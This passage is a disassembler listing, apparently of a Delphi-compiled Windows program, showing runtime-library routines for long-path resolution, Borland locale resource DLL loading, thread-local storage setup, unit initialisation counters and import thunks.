; =============== S U B	R O U T	I N E =======================================



sub_402F2C	proc near		; CODE XREF: sub_402F40+83p
					; sub_402F40+96p ...
		jmp	short loc_402F34
; ---------------------------------------------------------------------------


loc_402F2E:				; CODE XREF: sub_402F2C+11j
		push	eax
		call	sub_401120	; CharNextA


loc_402F34:				; CODE XREF: sub_402F2Cj
		mov	dl, [eax]
		test	dl, dl
		jz	short locret_402F3F
		cmp	dl, 5Ch
		jnz	short loc_402F2E

locret_402F3F:				; CODE XREF: sub_402F2C+Cj
		retn
sub_402F2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F40	proc near		; CODE XREF: sub_4030F8+A3p

var_24F		= byte ptr -24Fh
var_14A		= byte ptr -14Ah
var_11E		= byte ptr -11Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDB0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	offset dword_4030D4
		call	sub_401090	; GetModuleHandleA
		mov	esi, eax
		test	esi, esi
		jz	short loc_402FA8
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		push	esi
		call	sub_401150	; GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402FA8
		push	105h
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_402FA8
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401170	; lstrcpynA
		jmp	loc_4030CA
; ---------------------------------------------------------------------------


loc_402FA8:				; CODE XREF: sub_402F40+26j
					; sub_402F40+37j ...
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_402FE8
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+1], 5Ch
		jnz	loc_4030CA
		mov	eax, [ebp+var_4]
		add	eax, 2
		call	sub_402F2C
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_4030CA
		lea	eax, [esi+1]
		call	sub_402F2C
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_4030CA
		jmp	short loc_402FEE
; ---------------------------------------------------------------------------


loc_402FE8:				; CODE XREF: sub_402F40+6Ej
		mov	esi, [ebp+var_4]
		add	esi, 2


loc_402FEE:				; CODE XREF: sub_402F40+A6j
		mov	ebx, esi
		sub	ebx, [ebp+var_4]
		lea	eax, [ebx+1]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	sub_401170	; lstrcpynA
		jmp	loc_4030AD
; ---------------------------------------------------------------------------


loc_40300C:				; CODE XREF: sub_402F40+170j
		lea	eax, [esi+1]
		call	sub_402F2C
		mov	edi, eax
		mov	eax, edi
		sub	eax, esi
		mov	edx, eax
		add	edx, ebx
		inc	edx
		cmp	edx, 105h
		jg	loc_4030CA
		inc	eax
		push	eax
		push	esi
		lea	eax, [ebp+var_24F]
		add	eax, ebx
		push	eax
		call	sub_401170	; lstrcpynA
		lea	eax, [ebp+var_14A]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	sub_401138	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4030CA
		push	esi
		call	sub_401130	; FindClose
		lea	eax, [ebp+var_11E]
		push	eax
		call	sub_401178	; lstrlenA
		lea	edx, [ebx+1]
		add	eax, edx
		inc	eax
		cmp	eax, 105h
		jg	short loc_4030CA
		mov	[ebp+ebx+var_24F], 5Ch
		mov	eax, 105h
		sub	eax, ebx
		dec	eax
		push	eax
		lea	eax, [ebp+var_11E]
		push	eax
		lea	eax, [ebp+var_24F]
		add	eax, ebx
		inc	eax
		push	eax
		call	sub_401170	; lstrcpynA
		lea	eax, [ebp+var_11E]
		push	eax
		call	sub_401178	; lstrlenA
		inc	eax
		add	ebx, eax
		mov	esi, edi


loc_4030AD:				; CODE XREF: sub_402F40+C7j
		cmp	byte ptr [esi],	0
		jnz	loc_40300C
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401170	; lstrcpynA


loc_4030CA:				; CODE XREF: sub_402F40+63j
					; sub_402F40+77j ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402F40	endp

; ---------------------------------------------------------------------------
dword_4030D4	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_402F40+28o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030F8	proc near		; CODE XREF: sub_402EBC+27p

var_11D		= byte ptr -11Dh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE0h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	105h
		lea	eax, [ebp+var_11D]
		push	eax
		push	0
		call	sub_401088	; GetModuleFileNameA
		mov	[ebp+var_12], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorlan ; "Software\\Borland\\Locales"
		push	80000001h
		call	sub_401188	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40317B
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorlan ; "Software\\Borland\\Locales"
		push	80000002h
		call	sub_401188	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40317B
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Delphi\\Locales"
		push	80000001h
		call	sub_401188	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_403204


loc_40317B:				; CODE XREF: sub_4030F8+41j
					; sub_4030F8+5Fj
		xor	eax, eax
		push	ebp
		push	offset loc_4031FD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_18], 5
		lea	eax, [ebp+var_11D]
		mov	edx, 105h
		call	sub_402F40
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_401190	; RegQueryValueExA
		test	eax, eax
		jz	short loc_4031E2
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		push	offset dword_403364
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_401190	; RegQueryValueExA
		test	eax, eax
		jz	short loc_4031E2
		mov	[ebp+var_12], 0


loc_4031E2:				; CODE XREF: sub_4030F8+C6j
					; sub_4030F8+E4j
		mov	[ebp+var_E], 0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403204


loc_4031F3:				; CODE XREF: sub_4030F8+10Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_401180	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_4031FD:				; DATA XREF: sub_4030F8+86o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4031F3
; ---------------------------------------------------------------------------


loc_403204:				; CODE XREF: sub_4030F8+7Dj
					; DATA XREF: sub_4030F8+F6o
		push	105h
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401170	; lstrcpynA
		push	5
		lea	eax, [ebp+var_D]
		push	eax
		push	3
		call	sub_401158	; GetThreadLocale
		push	eax
		call	sub_401148	; GetLocaleInfoA
		xor	esi, esi
		cmp	[ebp+var_11D], 0
		jz	loc_40331E
		cmp	[ebp+var_D], 0
		jnz	short loc_40324B
		cmp	[ebp+var_12], 0
		jz	loc_40331E


loc_40324B:				; CODE XREF: sub_4030F8+147j
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401178	; lstrlenA
		mov	ebx, eax
		lea	eax, [ebp+var_11D]
		add	ebx, eax
		jmp	short loc_403264
; ---------------------------------------------------------------------------


loc_403263:				; CODE XREF: sub_4030F8+179j
		dec	ebx


loc_403264:				; CODE XREF: sub_4030F8+169j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_403273
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jnz	short loc_403263


loc_403273:				; CODE XREF: sub_4030F8+16Fj
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jz	loc_40331E
		inc	ebx
		cmp	[ebp+var_12], 0
		jz	short loc_4032B0
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	ebx
		call	sub_401170	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401160	; LoadLibraryExA
		mov	esi, eax


loc_4032B0:				; CODE XREF: sub_4030F8+18Ej
		test	esi, esi
		jnz	short loc_40331E
		cmp	[ebp+var_D], 0
		jz	short loc_40331E
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_401170	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401160	; LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40331E
		mov	[ebp+var_B], 0
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_401170	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401160	; LoadLibraryExA
		mov	esi, eax


loc_40331E:				; CODE XREF: sub_4030F8+13Dj
					; sub_4030F8+14Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4030F8	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'Software\Borland\Locales',0 ; DATA XREF: sub_4030F8+30o
					; sub_4030F8+4Eo
		align 4
aSoftwareBorl_0	db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_4030F8+6Co
dword_403364	dd 0		
; =============== S U B	R O U T	I N E =======================================



sub_403368	proc near		; CODE XREF: sub_403518+5p
		mov	edx, ds:off_409020
		mov	[eax], edx
		mov	ds:off_409020, eax
		retn
sub_403368	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403378	proc near		; CODE XREF: sub_4024E0+66p
					; DATA XREF: DATA:off_409028o
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ds:dword_409024
		test	ebx, ebx
		jz	short loc_403392


loc_403386:				; CODE XREF: sub_403378+18j
		mov	eax, [esi+4]
		call	dword ptr [ebx+4]
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_403386


loc_403392:				; CODE XREF: sub_403378+Cj
		pop	esi
		pop	ebx
		retn
sub_403378	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403398	proc near		; CODE XREF: sub_402C70+C1p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_4033AC
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_4033AC:				; CODE XREF: sub_403398+4j
		retn
sub_403398	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4033B0	proc near		; CODE XREF: sub_402464+16p
					; sub_4051B0+2Ep ...

var_408		= byte ptr -408h

		push	ebx
		push	esi
		add	esp, 0FFFFFC00h
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4033FD
		cmp	dword ptr [ebx+4], 10000h
		jge	short loc_4033F3
		push	400h
		lea	eax, [esp+40Ch+var_408]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		mov	eax, [ebx]
		mov	eax, [eax]
		call	sub_402F04
		push	eax
		call	sub_401168	; LoadStringA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_4026B4
		jmp	short loc_4033FD
; ---------------------------------------------------------------------------


loc_4033F3:				; CODE XREF: sub_4033B0+17j
		mov	eax, esi
		mov	edx, [ebx+4]
		call	sub_40279C


loc_4033FD:				; CODE XREF: sub_4033B0+Ej
					; sub_4033B0+41j
		add	esp, 400h
		pop	esi
		pop	ebx
		retn
sub_4033B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403408	proc near		; DATA XREF: CODE:00407B34o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403444
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A5A4
		jnz	short loc_403436
		cmp	ds:dword_40A5D8, 0
		jz	short loc_403430
		call	ds:dword_40A5D8


loc_403430:				; CODE XREF: sub_403408+20j
		call	ds:off_409040


loc_403436:				; CODE XREF: sub_403408+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40344B


loc_403443:				; CODE XREF: sub_403408+41j
		retn
; ---------------------------------------------------------------------------


loc_403444:				; DATA XREF: sub_403408+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_403443
; ---------------------------------------------------------------------------


loc_40344B:				; CODE XREF: sub_403408:loc_403443j
					; DATA XREF: sub_403408+36o
		pop	ebp
		retn
sub_403408	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403450	proc near		; DATA XREF: CODE:00407B30o
		sub	ds:dword_40A5A4, 1
		jnb	short locret_40347C
		call	sub_401060	; GetProcessHeap
		mov	ds:dword_40A5A8, eax
		mov	ds:off_40A000, offset sub_402DB8
		call	sub_402D80
		call	sub_4011A8	; GetCurrentThreadId
		mov	ds:dword_40A030, eax

locret_40347C:				; CODE XREF: sub_403450+7j
		retn
sub_403450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403480	proc near		; CODE XREF: sub_403494+21p
		push	eax
		push	40h
		call	sub_401098	; LocalAlloc
		retn
sub_403480	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40348C	proc near		; CODE XREF: sub_403494+1p
		mov	eax, 8
		retn
sub_40348C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403494	proc near		; CODE XREF: sub_4034D8:loc_4034F2p
		push	ebx
		call	sub_40348C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4034D6
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_4034B3
		mov	eax, 0E2h
		call	sub_4025BC
; ---------------------------------------------------------------------------


loc_4034B3:				; CODE XREF: sub_403494+13j
		mov	eax, ebx
		call	sub_403480
		test	eax, eax
		jnz	short loc_4034CA
		mov	eax, 0E2h
		call	sub_4025BC
; ---------------------------------------------------------------------------
		jmp	short loc_4034D6
; ---------------------------------------------------------------------------


loc_4034CA:				; CODE XREF: sub_403494+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_4010A8	; TlsSetValue


loc_4034D6:				; CODE XREF: sub_403494+Aj
					; sub_403494+34j
		pop	ebx
		retn
sub_403494	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034D8	proc near		; CODE XREF: sub_40128C+20p
					; sub_4012E4+3p ...
		mov	cl, ds:byte_40A688
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_40350D
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_4034F2:				; CODE XREF: sub_4034D8+3Dj
		call	sub_403494
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_4010A0	; TlsGetValue
		test	eax, eax
		jz	short loc_403507
		retn
; ---------------------------------------------------------------------------


loc_403507:				; CODE XREF: sub_4034D8+2Cj
		mov	eax, ds:dword_40A69C
		retn
; ---------------------------------------------------------------------------


loc_40350D:				; CODE XREF: sub_4034D8+Dj
		push	eax
		call	sub_4010A0	; TlsGetValue
		test	eax, eax
		jz	short loc_4034F2
		retn
sub_4034D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403518	proc near		; CODE XREF: sub_403524+2Ep
		mov	eax, offset dword_409094
		call	sub_403368
		retn
sub_403518	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403524	proc near		; CODE XREF: CODE:00407B87p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_401090	; GetModuleHandleA
		mov	ds:dword_40A694, eax
		mov	eax, ds:dword_40A694
		mov	ds:dword_409098, eax
		xor	eax, eax
		mov	ds:dword_40909C, eax
		xor	eax, eax
		mov	ds:dword_4090A0, eax
		call	sub_403518
		mov	edx, offset dword_409094
		mov	eax, ebx
		call	sub_402428
		pop	ebx
		retn
sub_403524	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403568	proc near		; DATA XREF: CODE:00407B2Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40358D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A698
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403594


loc_40358C:				; CODE XREF: sub_403568+2Aj
		retn
; ---------------------------------------------------------------------------


loc_40358D:				; DATA XREF: sub_403568+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_40358C
; ---------------------------------------------------------------------------


loc_403594:				; CODE XREF: sub_403568:loc_40358Cj
					; DATA XREF: sub_403568+1Fo
		pop	ebp
		retn
sub_403568	endp

; ---------------------------------------------------------------------------
		align 4


loc_403598:				; DATA XREF: CODE:off_407B28o
		sub	ds:dword_40A698, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035A0	proc near		; DATA XREF: CODE:00407B3Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4035C5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A6A0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4035CC


loc_4035C4:				; CODE XREF: sub_4035A0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4035C5:				; DATA XREF: sub_4035A0+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4035C4
; ---------------------------------------------------------------------------


loc_4035CC:				; CODE XREF: sub_4035A0:loc_4035C4j
					; DATA XREF: sub_4035A0+1Fo
		pop	ebp
		retn
sub_4035A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4035D0	proc near		; DATA XREF: CODE:00407B38o
		sub	ds:dword_40A6A0, 1
		retn
sub_4035D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4035D8	proc near		; CODE XREF: sub_406FBC+3Dp
		jmp	ds:dword_40B194
sub_4035D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4035E0	proc near		; CODE XREF: CODE:00407E53p
		jmp	ds:dword_40B1F4
sub_4035E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4035E8	proc near		; CODE XREF: sub_4053C4+53p
					; sub_4053C4+7Cp
		jmp	ds:dword_40B1F0
sub_4035E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4035F0	proc near		; CODE XREF: sub_404420+50p
		jmp	ds:dword_40B1EC
sub_4035F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4035F8	proc near		; CODE XREF: sub_404420+3Fp
		jmp	ds:dword_40B1E8
sub_4035F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403600	proc near		; CODE XREF: sub_404420+26p
		jmp	ds:dword_40B1E4
sub_403600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403608	proc near		; CODE XREF: sub_404420+1Bp
		jmp	ds:dword_40B1E0
sub_403608	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403610	proc near		; CODE XREF: sub_406264+3Fp
		jmp	ds:dword_40B1DC
sub_403610	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403618	proc near		; CODE XREF: sub_4062D8+19p
		jmp	ds:dword_40B1D8
sub_403618	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403620	proc near		; CODE XREF: sub_407AC0+1Dp
		jmp	ds:dword_40B1D4
sub_403620	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403628	proc near		; CODE XREF: sub_404520+21p
		jmp	ds:dword_40B1D0
sub_403628	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403630	proc near		; CODE XREF: sub_40797C+55p
		jmp	ds:dword_40B1CC
sub_403630	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403638	proc near		; CODE XREF: sub_40513C+1Ep
					; sub_405188+13p ...
		jmp	ds:dword_40B1C8
sub_403638	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403640	proc near		; CODE XREF: CODE:004056E9p
					; CODE:00405704p ...
		jmp	ds:dword_40B1C4
sub_403640	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403648	proc near		; CODE XREF: sub_40685C+6p
		jmp	ds:dword_40B1C0
sub_403648	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403650	proc near		; CODE XREF: sub_40685C+17p
					; sub_4070E0+98p ...
		jmp	ds:dword_40B1BC
sub_403650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403658	proc near		; CODE XREF: CODE:00405875p
					; CODE:00405890p
		jmp	ds:dword_40B1B8
sub_403658	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403660	proc near		; CODE XREF: sub_406350+F4p
		jmp	ds:dword_40B1B4
sub_403660	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403668	proc near		; CODE XREF: sub_4051EC+1Cp
					; sub_4053C4+18p ...
		jmp	ds:dword_40B1B0
sub_403668	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403670	proc near		; CODE XREF: sub_406094+Ep
		jmp	ds:dword_40B1AC
sub_403670	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403678	proc near		; CODE XREF: sub_4070E0+70p
					; sub_4075F4+2Ap ...
		jmp	ds:dword_40B1A8
sub_403678	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403680	proc near		; CODE XREF: sub_4070E0+3C3p
		jmp	ds:dword_40B1A4
sub_403680	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403688	proc near		; CODE XREF: CODE:004056C5p
					; sub_405CFC+6Bp
		jmp	ds:dword_40B1A0
sub_403688	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403690	proc near		; CODE XREF: CODE:0040587Bp
					; CODE:00405896p
		jmp	ds:dword_40B19C
sub_403690	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403698	proc near		; CODE XREF: sub_4061A0+Dp
		jmp	ds:dword_40B208
sub_403698	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036A0	proc near		; CODE XREF: sub_406350+11Fp
					; sub_406350+130p
		jmp	ds:dword_40B204
sub_4036A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036A8	proc near		; CODE XREF: CODE:0040579Ap
					; CODE:004058B8p
		jmp	ds:dword_40B200
sub_4036A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036B0	proc near		; CODE XREF: CODE:004058CEp
		jmp	ds:dword_40B1FC
sub_4036B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036B8	proc near		; DATA XREF: CODE:00407B44o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4036DD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A6A4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4036E4


loc_4036DC:				; CODE XREF: sub_4036B8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4036DD:				; DATA XREF: sub_4036B8+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4036DC
; ---------------------------------------------------------------------------


loc_4036E4:				; CODE XREF: sub_4036B8:loc_4036DCj
					; DATA XREF: sub_4036B8+1Fo
		pop	ebp
		retn
sub_4036B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4036E8	proc near		; DATA XREF: CODE:00407B40o
		sub	ds:dword_40A6A4, 1
		retn
sub_4036E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036F0	proc near		; DATA XREF: CODE:00407B4Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403715
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A6A8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40371C


loc_403714:				; CODE XREF: sub_4036F0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403715:				; DATA XREF: sub_4036F0+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_403714
; ---------------------------------------------------------------------------


loc_40371C:				; CODE XREF: sub_4036F0:loc_403714j
					; DATA XREF: sub_4036F0+1Fo
		pop	ebp
		retn
sub_4036F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; DATA XREF: CODE:00407B48o
		sub	ds:dword_40A6A8, 1
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
off_403728	dd offset dword_40A694	; DATA XREF: DATA:off_409308o
		dd 0FFF0h
off_403730	dd offset dword_40A694	; DATA XREF: DATA:off_409300o
		dd 0FFF1h
off_403738	dd offset dword_40A694	; DATA XREF: DATA:off_40934Co
		dd 0FFF2h
off_403740	dd offset dword_40A694	; DATA XREF: DATA:off_4093E8o
		dd 0FFF3h
off_403748	dd offset dword_40A694	; DATA XREF: DATA:off_4092C0o
		dd 0FFF4h
off_403750	dd offset dword_40A694	; DATA XREF: DATA:off_4093B0o
		dd 0FFF5h
off_403758	dd offset dword_40A694	; DATA XREF: DATA:off_409384o
		dd 0FFF6h
off_403760	dd offset dword_40A694	; DATA XREF: DATA:off_4092ECo
		dd 0FFF7h
off_403768	dd offset dword_40A694	; DATA XREF: DATA:off_409310o
		dd 0FFF8h
off_403770	dd offset dword_40A694	; DATA XREF: DATA:off_4093F4o
		dd 0FFF9h
off_403778	dd offset dword_40A694	; DATA XREF: DATA:off_4093F0o
		dd 0FFFAh
off_403780	dd offset dword_40A694	; DATA XREF: DATA:off_409350o
		dd 0FFFBh
off_403788	dd offset dword_40A694	; DATA XREF: DATA:off_4093FCo
		dd 0FFFCh
off_403790	dd offset dword_40A694	; DATA XREF: DATA:off_40940Co
		dd 0FFFDh
off_403798	dd offset dword_40A694	; DATA XREF: DATA:off_409388o
		dd 0FFFEh
off_4037A0	dd offset dword_40A694	; DATA XREF: DATA:off_409398o
		dd 0FFFFh
